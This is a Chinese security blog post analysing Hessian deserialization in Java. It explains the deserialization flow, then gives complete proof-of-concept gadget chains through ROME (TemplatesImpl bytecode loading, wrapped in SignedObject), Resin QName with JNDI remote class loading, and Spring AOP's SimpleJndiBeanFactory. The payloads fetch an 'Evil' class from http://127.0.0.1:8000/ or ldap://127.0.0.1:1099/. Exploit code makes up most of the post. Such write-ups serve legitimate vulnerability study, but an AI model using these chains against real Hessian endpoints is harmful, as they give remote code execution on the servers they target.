Hessian反序列化
前置知识
1、CC链
2、rome反序列化
Hessian是一种用于远程调用的二进制协议,广泛用于构建分布式系统中的跨平台通信。它可以将Java对象序列化为二进制数据,相对于json或xml提供更高效的数据传输和更低的开销。这里讲的Hessian 是CAUCHO公司的工程项目,为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出,在 2004 点发布 1.0 规范。Hessian是基于Field机制来进行反序列化,通过一些特殊的方法或者反射来进行赋值,在反序列化过程中自动调用的方法更少,相对基于Bean机制其攻击面也更小。
反序列化过程
我们可以编写一个简单的Person类来进行测试,调用Hessian的序列化方法转化为二进制数组,随后再调用Hessian的发序列化方法将二进制数组转化为Person对象,在此过程中下断点并进行单步跟进来观察其反序列化的过程。
项目依赖:
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency>
|
Person.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package org.example;
import java.io.Serializable;
public class Person implements Serializable { public String name; public int age;
public int getAge(){ return age; } public String getName(){ return name; }
public void setAge(int age) { this.age = age; }
public void setName(String name) { this.name = name; } }
|
HessianTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package org.example;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.Serializable;
public class HessianTest implements Serializable {
public static void main(String[] args) throws IOException{ Person xiaoming = new Person(); xiaoming.setAge(10); xiaoming.setName("xiaoming");
byte[] s = serialize(xiaoming); System.out.println((Person)deserialize(s)); } }
|
在IDEA中,对 Object o = input.readObject();
下断点,启动调试运行:
在readObject()
当中调用read()
来获取tag
,随后根据tag
的类型来进行分类处理:
跟进到read()
中发现其读取的是字节数组的第一个元素值,这里是77
ASCII对应的字母是M
,因为Hessian的序列化总会把结果处理成一个Map
,所以这里的tag
总会是M
。在case 'M'
的情况下,先获取待反序列化对象的类型,之后再调用readMap()
进行处理:
跟进到readMap()
中,可以看到会先调用getDeserializer()
来获取相应类型的deserializer
,并调用其readMap()
进行处理;如果获取不到,就会进入到_hashMapDeserializer.readMap
中
在deserializer.readMap()
中,会先实例化一个空对象,随后调用readMap()
:
在readMap()
中,会将obj
加入引用中以便来寻找值,随后循环对值进行恢复,通过_fieldMap
来获取相应的Deserializer
,根据获取到的Deserializer
进入相应的deserialize
方法中。
进入deserialize
方法后,会对键对应的值进行读取,这里读取的是字符串,所以对应的是readString()
,之后对obj进行恢复赋值。
不同的类型的键会有不同的Deserializer
,相应的就会有不同的deserialize
方法,如果对应的键值是unsafe对象的话则会获取UnsafeDeserializer
,在deserialize
中就会调用readObject
对in
进行反序列化。
对于Map
类型则会获取MapDeserializer
,在deserialize
中会调用如下的readMap()
:
如果_type
是Map
则使用HashMap
,SortedMap
则使用TreeMap()
,接着在while
循环中读取 key-value
的键值对并调用 put
方法,在put
里面就会调用到putVal
和hash
了,到这里就可以接上我们熟悉的一些链子了,例如HashMap
触发hashCode()
、equals()
,TreeMap
触发compareTo()
。
ROME
前面一篇中详细介绍了ROME的反序列化漏洞调用的原理,最主要的逻辑就在于ToStringBean
的toString
中对于getter的循环调用,而诸如EqualsBean
的类则能够触发它toString
,触发EqualsBean
的逻辑就在于HashMap
在put
的时候会做哈希从而调用到hashCode
。那么如果放在Hessian反序列化中,就会自动触发HashMap
的put
,也就触发了ROME的任意类加载。
这里还可以使用SignedObject
来避开不出网限制。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
| package org.example; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.math.BigInteger; import java.nio.file.Files; import java.nio.file.Paths; import java.lang.reflect.Field; import java.security.*; import java.security.interfaces.DSAParams; import java.security.interfaces.DSAPrivateKey; import java.util.HashMap;
public class EqualsBeanTest { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123"); setValue(toStringBean,"_obj",templates);
SignedObject signedObject = makeSObj(hashMap); ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,"1"); EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(equalsBean1,"123"); setValue(toStringBean1,"_obj",signedObject); serialize(hashMap1);
unserialize("ser1.bin");
} public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException { return new SignedObject((Serializable) o, new DSAPrivateKey() { @Override public DSAParams getParams() { return null; }
@Override public String getAlgorithm() { return null; }
@Override public String getFormat() { return null; }
@Override public byte[] getEncoded() { return new byte[0]; }
@Override public BigInteger getX() { return null; } }, new Signature("1") { @Override protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override protected void engineUpdate(byte b) throws SignatureException {
}
@Override protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override protected byte[] engineSign() throws SignatureException { return new byte[0]; }
@Override protected boolean engineVerify(byte[] sigBytes) throws SignatureException { return false; }
@Override protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override protected Object engineGetParameter(String param) throws InvalidParameterException { return null; } } ); }
private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj,value); }
public static void serialize(Object obj) throws IOException { HessianOutput oos = new HessianOutput(new FileOutputStream("ser1.bin"));
oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException{ HessianInput ois = new HessianInput(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
Resin
Resin也是CAUCHO公司的产品,是一个非常流行的支持servlets 和jsp的引擎,速度非常快。它里面有一个类QNAME
,用来表示一个解析的JNDI接口名称:
这里我们关注它的toString
函数,通过for循环遍历当前对象包含的所有成员,随后进行相应的处理,首先会获取当前元素的值赋值给str
,随后根据name
是否为null
进行不同的处理,如果name
为null
则直接把str
赋值给name
,否则调用了_context.composeName
获取name
,如果触发NamingException
则会对name
和str
用斜杠进行拼接。
在ContinuationContext
类的composeName
实现中调用了getTargetContext
,看起来有点远程类加载的意味。在getTargetContext
中如果满足contCtx
为null
和cpe.getResolvedObj()
返回不为null
就可以调用NamingManager.getContext
:
只要obj
的不是Context
类型就能够走到调用getObjectInstance()
的地方。这里看一下getObjectInstance
的注释:
getObjectInstance
是用来为指定的对象和环境创建对象的实例。如果 refInfo
是没有工厂类名的 Reference
或 Referenceable
,并且地址是地址类型为“URL”的 StringRefAddrs
,则尝试与每个 URL 的方案 id 对应的 URL 上下文工厂来创建对象。在方法的实现中,也是对refInfo
进行了类型的判断,如果是Reference
或 Referenceable
类型就会赋值给ref
,从而在接下去的if判断中不为null
,如果ref.getFactoryClassName()
不为空就会调用到getObjectFactoryFromReference
。
getObjectFactoryFromReference
会先尝试直接通过factoryName
加载类,找不到之后再通过ref.getFactoryClassLocation()
获取codebase
,调用helper.loadClass
进行类加载:
如果开启trustURLCodebase
,就会调用URLClassLoader.newInstanace()
进行远程类加载,随后loadClass
返回的cls
会在前面的NamingManager#getObjectFactoryFromReference
进行实例化。
这里可以先做一个测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package org.example;
import javax.naming.CannotProceedException; import javax.naming.Context; import javax.naming.Reference;
import com.caucho.naming.QName; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Hashtable;
public class ResinTest { public static void main(String[] args) throws Exception { String refAddr = "http://127.0.0.1:8000/"; String refClassName = "Evil"; Reference ref = new Reference(refClassName,refClassName,refAddr); CannotProceedException cannotProceedException = new CannotProceedException(); setFiled("javax.naming.NamingException",cannotProceedException,"resolvedObj",ref); Hashtable hashtable = new Hashtable(); Class<?> cla = Class.forName("javax.naming.spi.ContinuationContext"); Constructor<?> constructor = cla.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); constructor.setAccessible(true); Context continuationContext = (Context) constructor.newInstance(cannotProceedException,hashtable); QName qName = new QName(continuationContext,"1","2"); qName.toString(); } public static void setFiled(String className, Object o, String filedName, Object value) throws Exception{ Class<?> cl = Class.forName(className); Field field = cl.getDeclaredField(filedName); field.setAccessible(true); field.set(o,value); }
}
|
那么接下去就是如何触发toString
的问题了,如果不依赖于ROME的话,我们可以想到之前HotSwappableTargetSource
的XString
那一段链子,XString
的equals会调用到obj2.toString()
,只要obj2
为前面的qName
就可以接上去。
那么自然而然的就会想到HashMap
了:
满足p.hash == hash
、p.key!=key
和key != null
就可以调用到key.equals(k)
,根据前面的推理k
得是qName
,key
是xString
,这里的key
是后面put
进来的,k
是原先就有的,所以qName
应该先put
进hashMap
,xString
后put
进hashMap
。
对于key不相等hash想等的问题,这里可以关注到XString
的hashCode
函数:
他返回的是m_obj.hashCode()
,那么我们可以先获取qName
的hash,通过哈希的逆算法来得到相应的String值,然后赋值给m_obj
就可以了。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| package org.example;
import com.caucho.hessian.io.*;
import javax.naming.CannotProceedException; import javax.naming.Context; import javax.naming.Reference; import com.caucho.naming.QName; import com.sun.org.apache.xpath.internal.objects.XString;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable;
public class ResinTest { public static void main(String[] args) throws Exception { String refAddr = "http://127.0.0.1:8000/"; String refClassName = "Evil"; Reference ref = new Reference(refClassName,refClassName,refAddr); CannotProceedException cannotProceedException = new CannotProceedException(); setFiled("javax.naming.NamingException",cannotProceedException,"resolvedObj",ref); Hashtable hashtable = new Hashtable(); Class<?> cla = Class.forName("javax.naming.spi.ContinuationContext"); Constructor<?> constructor = cla.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); constructor.setAccessible(true); Context continuationContext = (Context) constructor.newInstance(cannotProceedException,hashtable); QName qName = new QName(continuationContext,"foo","bar");
int hash = qName.hashCode(); String string = unhash(hash); XString xString = new XString(string); HashMap hashMap = new HashMap(); hashMap.put(qName,"1"); hashMap.put(xString,"2"); serialize(hashMap);
unserialize("ser.bin"); } public static String unhash(int hash){ int target = hash; StringBuilder answer = new StringBuilder(); if ( target < 0 ) { answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); if ( target == Integer.MIN_VALUE ) return answer.toString(); target = target & Integer.MAX_VALUE; } unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31; int rem = target % 31; if ( div <= Character.MAX_VALUE ) { if ( div != 0 ) partial.append((char) div); partial.append((char) rem); } else { unhash0(partial, div); partial.append((char) rem); } } public static void setFiled(String className, Object o, String filedName, Object value) throws Exception{ Class<?> cl = Class.forName(className); Field field = cl.getDeclaredField(filedName); field.setAccessible(true); field.set(o,value); } public static void serialize(Object obj) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("ser.bin"); HessianOutput hessianOutput = new HessianOutput(fileOutputStream); SerializerFactory serializerFactory = new SerializerFactory(); serializerFactory.setAllowNonSerializable(true); hessianOutput.setSerializerFactory(serializerFactory); hessianOutput.writeObject(obj); hessianOutput.close(); }
public static Object unserialize(String filename) throws IOException{ FileInputStream fileInputStream = new FileInputStream(filename); HessianInput hessianInput = new HessianInput(fileInputStream); HashMap o = (HashMap) hessianInput.readObject(); return o; } }
|
Srping AOP
这一条链还是从equals
开始,org.springframework.aop.support.AbstractPointcutAdvisor
的equals
会首先对other
进行判断,不等于自身而且是PointcutAdvisor
类型就会在后续逻辑中调用getAdvice()
。
这里可以看到org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor
的getAdvice()
实现,advice
为null
则会调用this.beanFactory.getBean()
:
紧接着看到org.springframework.jndi.support.SimpleJndiBeanFactory
的getBean()
实现,如果this.isSingleton(name)
为false
就会调用到this.lookup
进行远程获取:
之后会调用org.springframework.jndi.JndiLocatorSupport
的lookup
:
进而调用org.springframework.jndi.JndiTemplate
的lookup()
:
最后lookup
会根据name
加载远程类:
构造测试链的话就是从后往前套:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static void main(String[] args) throws Exception{ String rmi = "ldap://127.0.0.1:1099/Evil"; SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory(); simpleJndiBeanFactory.addShareableResource(rmi);
Class<?> cl = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor(); defaultBeanFactoryPointcutAdvisor.setBeanFactory(simpleJndiBeanFactory); defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(rmi);
AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor(); defaultBeanFactoryPointcutAdvisor.equals(asyncAnnotationAdvisor);
}
|
因为other
对传入的类型有要求,所以这里就传了一个继承PointcutAdvisor
的AsyncAnnotationAdvisor
类。
因为调用的是defaultBeanFactoryPointcutAdvisor
的equals
,所以在HashMap
中他应该在前面,POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package org.example;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.PointcutAdvisor; import org.springframework.aop.support.*; import org.springframework.jndi.support.SimpleJndiBeanFactory; import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.lang.reflect.Field; import java.util.HashMap;
public class AOPTest { public static void main(String[] args) throws Exception{ String rmi = "ldap://127.0.0.1:1099/Evil"; SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory(); simpleJndiBeanFactory.addShareableResource(rmi);
Class<?> cl = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor(); defaultBeanFactoryPointcutAdvisor.setBeanFactory(simpleJndiBeanFactory); defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(rmi);
AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor(); defaultBeanFactoryPointcutAdvisor.equals(asyncAnnotationAdvisor); HashMap hashMap = new HashMap(); hashMap.put(defaultBeanFactoryPointcutAdvisor,"1"); hashMap.put(asyncAnnotationAdvisor,"2"); serialize(hashMap); unserialize("ser.bin");
} private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj,value); } public static void setFiled(String className, Object o, String filedName, Object value) throws Exception{ Class<?> cl = Class.forName(className); Field field = cl.getDeclaredField(filedName); field.setAccessible(true); field.set(o,value); } public static void serialize(Object obj) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("ser.bin"); HessianOutput hessianOutput = new HessianOutput(fileOutputStream); SerializerFactory serializerFactory = new SerializerFactory(); serializerFactory.setAllowNonSerializable(true); hessianOutput.setSerializerFactory(serializerFactory); hessianOutput.writeObject(obj); hessianOutput.close(); }
public static Object unserialize(String filename) throws IOException{ FileInputStream fileInputStream = new FileInputStream(filename); HessianInput hessianInput = new HessianInput(fileInputStream); HashMap o = (HashMap) hessianInput.readObject(); return o; } }
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com